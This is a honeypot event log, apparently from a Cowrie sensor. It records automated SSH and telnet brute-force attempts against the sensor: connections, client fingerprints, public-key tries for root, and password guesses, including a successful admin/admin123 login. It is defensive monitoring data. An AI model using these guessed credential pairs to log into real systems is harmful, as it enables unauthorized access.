{"eventid":"cowrie.session.closed","duration":33.86110758781433,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:20.981188Z","src_ip":"152.42.224.71","session":"9c2f369bfa9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.61307740211487,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:23.666713Z","src_ip":"152.42.224.71","session":"bcead25f5fa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58644,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f5bba1b831f","protocol":"ssh","message":"New connection: 31.40.204.166:58644 (159.203.135.109:22) [session: 1f5bba1b831f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:24.603993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:24.719799Z","src_ip":"31.40.204.166","session":"1f5bba1b831f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:24.804136Z","src_ip":"31.40.204.166","session":"1f5bba1b831f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:25.324562Z","src_ip":"31.40.204.166","session":"1f5bba1b831f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:26.511313Z","src_ip":"31.40.204.166","session":"1f5bba1b831f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54698,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc9f95008484","protocol":"telnet","message":"New connection: 152.42.224.71:54698 (10.17.0.5:23) [session: dc9f95008484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:28.427390Z"}
{"eventid":"cowrie.session.closed","duration":42.153661489486694,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:28.524850Z","src_ip":"134.209.74.135","session":"8f6a2998dfec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54712,"dst_ip":"10.17.0.5","dst_port":23,"session":"f61c33fc180e","protocol":"telnet","message":"New connection: 152.42.224.71:54712 (10.17.0.5:23) [session: f61c33fc180e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:33.138235Z"}
{"eventid":"cowrie.session.closed","duration":106.54923677444458,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:33.718352Z","src_ip":"176.65.139.118","session":"07c1e0cfb14b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.562273025512695,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:33.908091Z","src_ip":"152.42.224.71","session":"ecba88334bd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54724,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9d3543482e3","protocol":"telnet","message":"New connection: 152.42.224.71:54724 (10.17.0.5:23) [session: e9d3543482e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:35.097755Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":34884,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1879b64bb53","protocol":"telnet","message":"New connection: 176.65.139.118:34884 (159.203.135.109:23) [session: f1879b64bb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:35.634131Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":50426,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d200403b82c","protocol":"telnet","message":"New connection: 176.65.139.118:50426 (159.203.135.109:23) [session: 5d200403b82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:36.461304Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48654,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1dd9fb5ccfc","protocol":"ssh","message":"New connection: 31.40.204.166:48654 (159.203.135.109:22) [session: f1dd9fb5ccfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:36.681317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:36.691634Z","src_ip":"31.40.204.166","session":"f1dd9fb5ccfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:36.899573Z","src_ip":"31.40.204.166","session":"f1dd9fb5ccfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.47421741485596,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:36.982135Z","src_ip":"152.42.224.71","session":"5e15a3d1d95a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:37.710078Z","src_ip":"31.40.204.166","session":"f1dd9fb5ccfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:38.889238Z","src_ip":"31.40.204.166","session":"f1dd9fb5ccfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58636,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb2d4a8a45bd","protocol":"telnet","message":"New connection: 152.42.224.71:58636 (10.17.0.5:23) [session: fb2d4a8a45bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:39.126449Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58644,"dst_ip":"10.17.0.5","dst_port":23,"session":"b85bfe344a21","protocol":"telnet","message":"New connection: 152.42.224.71:58644 (10.17.0.5:23) [session: b85bfe344a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:39.554045Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:43.062146Z","src_ip":"176.65.139.118","session":"5d200403b82c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:43.101834Z","src_ip":"176.65.139.118","session":"5d200403b82c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58648,"dst_ip":"10.17.0.5","dst_port":23,"session":"9367b94d28e0","protocol":"telnet","message":"New connection: 152.42.224.71:58648 (10.17.0.5:23) [session: 9367b94d28e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:43.106616Z"}
{"eventid":"cowrie.session.closed","duration":37.45148515701294,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:43.764105Z","src_ip":"152.42.224.71","session":"85d6ffd7b79e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58654,"dst_ip":"10.17.0.5","dst_port":23,"session":"b15b7d1626f9","protocol":"telnet","message":"New connection: 152.42.224.71:58654 (10.17.0.5:23) [session: b15b7d1626f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:44.281574Z"}
{"eventid":"cowrie.session.closed","duration":53.913206338882446,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:45.385727Z","src_ip":"152.42.224.71","session":"8bafbcd54a73","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":304,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"2.3","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:45.391354Z","src_ip":"176.65.139.118","session":"5d200403b82c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.941925048828125,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:45.403109Z","src_ip":"176.65.139.118","session":"5d200403b82c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":41210,"dst_ip":"159.203.135.109","dst_port":23,"session":"8575d581fa50","protocol":"telnet","message":"New connection: 176.65.139.118:41210 (159.203.135.109:23) [session: 8575d581fa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:45.475122Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.170.247.81","src_port":55544,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa4e52b94835","protocol":"ssh","message":"New connection: 107.170.247.81:55544 (10.17.0.5:22) [session: aa4e52b94835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:46.422708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:46.427098Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:46.499939Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:da:b1:ba:47:fd:76:45:e9:27:d2:39:71:a9:6c:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtiiJoXMj1dCAJNCWPyXtMrsmkFuQLvGW1O3dXCUgP9uLL5vwEDfeavvkfpN9xM8hG/f/XjJlFD+9DsllMNahEQMWlcRklxVKjfanzcZ7sDVRokirY1XUNBWHD3XLdd9yxD5rYvj0s6a3VB6xI9pHXtCUEw7j0nXZbmjnGqUdpMvfHy5vwLj0dQB9TbAUDaXEna1aTUJ5a+wq92BW5EOxLpb8RGs9nFYr7XaLTi1ViXXCIIxY0GBgcYrt9vAO5s5IOi5Mr/hhP4XXBjo6t9xxvMNY8SLQ2KXhPQXsA63mwz0kDXrdqiTiwHCi+T6EE/Q2zuP4EmYycaNoIUehnOdKt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:da:b1:ba:47:fd:76:45:e9:27:d2:39:71:a9:6c:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:46.834492Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:da:b1:ba:47:fd:76:45:e9:27:d2:39:71:a9:6c:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtiiJoXMj1dCAJNCWPyXtMrsmkFuQLvGW1O3dXCUgP9uLL5vwEDfeavvkfpN9xM8hG/f/XjJlFD+9DsllMNahEQMWlcRklxVKjfanzcZ7sDVRokirY1XUNBWHD3XLdd9yxD5rYvj0s6a3VB6xI9pHXtCUEw7j0nXZbmjnGqUdpMvfHy5vwLj0dQB9TbAUDaXEna1aTUJ5a+wq92BW5EOxLpb8RGs9nFYr7XaLTi1ViXXCIIxY0GBgcYrt9vAO5s5IOi5Mr/hhP4XXBjo6t9xxvMNY8SLQ2KXhPQXsA63mwz0kDXrdqiTiwHCi+T6EE/Q2zuP4EmYycaNoIUehnOdKt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:46.838982Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:fd:31:ce:6b:d4:9a:c1:f7:1e:f0:72:2f:8b:59:f7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN8MC1pNcN+HjaYa5Jq/ZSQqqbrcFJ8hfNrpYq9Rk/u22mKPIJEZtO54ngFy9/zgTvQOtKIMPgIr0EbQ6hL2SRYkNBwHxSUCew/ui67OZDMqRn8+c4mXhCRP6FsAnj2n16L3b6tiauutOyaxJ/xLZ2oJO3+8J3IpIaOxkLIHYqEJAAAAFQCUt7f7K61t7KZ72396F1YjYMkCBQAAAIBbjKkdRlRF/nq5P7TFlPnfgO0F0eGBYPaQ04g4N1NjqqwC5zv7pc9TKgBGlYx9oy+kRHIxVX7pBv1TkxSRQk8Z8IZCWp6QQY9xVFOVBVVQ61xByLw+HOm6zYMbAW6E185Wn9WqJSbN4OhkvMIOOe/ZLmCCZD7EJNWSNutj89c9gQAAAIEAsU73FrM6+xJwFLOdMSUGqaQXLraykUQMhUIbbhFh3gMqrjzrFADRHse8ds0sS1OcntW+o/RdF/tDZ/Rq4dQXVnqiLVyN/lPsNl0piAe4bBhVWORoTCRBgPaJotV+LdaC9Gkq7kaFURqotKV18/zbB62BegjL9a/a8xBVXQqPDGw=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8c:fd:31:ce:6b:d4:9a:c1:f7:1e:f0:72:2f:8b:59:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:46.911887Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:fd:31:ce:6b:d4:9a:c1:f7:1e:f0:72:2f:8b:59:f7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN8MC1pNcN+HjaYa5Jq/ZSQqqbrcFJ8hfNrpYq9Rk/u22mKPIJEZtO54ngFy9/zgTvQOtKIMPgIr0EbQ6hL2SRYkNBwHxSUCew/ui67OZDMqRn8+c4mXhCRP6FsAnj2n16L3b6tiauutOyaxJ/xLZ2oJO3+8J3IpIaOxkLIHYqEJAAAAFQCUt7f7K61t7KZ72396F1YjYMkCBQAAAIBbjKkdRlRF/nq5P7TFlPnfgO0F0eGBYPaQ04g4N1NjqqwC5zv7pc9TKgBGlYx9oy+kRHIxVX7pBv1TkxSRQk8Z8IZCWp6QQY9xVFOVBVVQ61xByLw+HOm6zYMbAW6E185Wn9WqJSbN4OhkvMIOOe/ZLmCCZD7EJNWSNutj89c9gQAAAIEAsU73FrM6+xJwFLOdMSUGqaQXLraykUQMhUIbbhFh3gMqrjzrFADRHse8ds0sS1OcntW+o/RdF/tDZ/Rq4dQXVnqiLVyN/lPsNl0piAe4bBhVWORoTCRBgPaJotV+LdaC9Gkq7kaFURqotKV18/zbB62BegjL9a/a8xBVXQqPDGw=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:46.915640Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:8b:6c:99:b6:f6:42:26:55:6b:02:24:46:26:bc:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqUWNFEkT/AQAaLdojCQJTqbgx9rde95QTsz1ncWY8ELqIGo7dA+58SqxDSsIM1ojePCtvKMM+UW5qTaX41SW98ttonmn9W321MLNV8RSPHKu4plKNXoyzv7RA+Xp6W4IJNuXqzalhO5OI6OHWIwwx0gz2M28WRm89WBWDH85AMeGglDhJvyFIpyAsdX6LTL3E+yoL51HZ7ZncR2cr3W9OooeeqAE7+MZt32UgRzDkOdbD3gTRw+XEE7Uw5ymGCYxaPRo4Eb8gEZIEEoPUEdQxzgH5kjFak746uYqDh0SQMXCg6w2YPsUFYmpJQcmn/9pq/17Fmw2azbYI4t0damHgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:8b:6c:99:b6:f6:42:26:55:6b:02:24:46:26:bc:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:46.991779Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:8b:6c:99:b6:f6:42:26:55:6b:02:24:46:26:bc:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqUWNFEkT/AQAaLdojCQJTqbgx9rde95QTsz1ncWY8ELqIGo7dA+58SqxDSsIM1ojePCtvKMM+UW5qTaX41SW98ttonmn9W321MLNV8RSPHKu4plKNXoyzv7RA+Xp6W4IJNuXqzalhO5OI6OHWIwwx0gz2M28WRm89WBWDH85AMeGglDhJvyFIpyAsdX6LTL3E+yoL51HZ7ZncR2cr3W9OooeeqAE7+MZt32UgRzDkOdbD3gTRw+XEE7Uw5ymGCYxaPRo4Eb8gEZIEEoPUEdQxzgH5kjFak746uYqDh0SQMXCg6w2YPsUFYmpJQcmn/9pq/17Fmw2azbYI4t0damHgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:46.995481Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:9e:1b:c9:90:17:11:69:62:fa:44:ba:db:5f:05:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDz52NYxf/VMV7LtxXECH2IlAzk+58vu+cMygXr6eLab66MuKltvQASXSstH35NFhGWTokqmY8gvIl71OAExFSL8ecOIrx89ELDDfEN0MKZiGsnYbtT6070QFBFbHmYVaTaFbolviRHgMyFK6OnF9uLIZ7gfjIiTGrx+8DkuifOwXFcgapOQ8azix035wmNpVnh+uhF+CFgngFy1YW1YMK/KNcpx3QSh+87o+xxXIh8aheoHeSIQj1iLZrrpOYW24g7+nlyli2eQG35M0koCX4T/1QSJMCfTsHxcul24Xo2S0oI/8EpxjLks4Zac/uuiRls3Bgq/A9ZVBdugddSpxOP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:9e:1b:c9:90:17:11:69:62:fa:44:ba:db:5f:05:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:47.067293Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:9e:1b:c9:90:17:11:69:62:fa:44:ba:db:5f:05:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDz52NYxf/VMV7LtxXECH2IlAzk+58vu+cMygXr6eLab66MuKltvQASXSstH35NFhGWTokqmY8gvIl71OAExFSL8ecOIrx89ELDDfEN0MKZiGsnYbtT6070QFBFbHmYVaTaFbolviRHgMyFK6OnF9uLIZ7gfjIiTGrx+8DkuifOwXFcgapOQ8azix035wmNpVnh+uhF+CFgngFy1YW1YMK/KNcpx3QSh+87o+xxXIh8aheoHeSIQj1iLZrrpOYW24g7+nlyli2eQG35M0koCX4T/1QSJMCfTsHxcul24Xo2S0oI/8EpxjLks4Zac/uuiRls3Bgq/A9ZVBdugddSpxOP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:47.070895Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
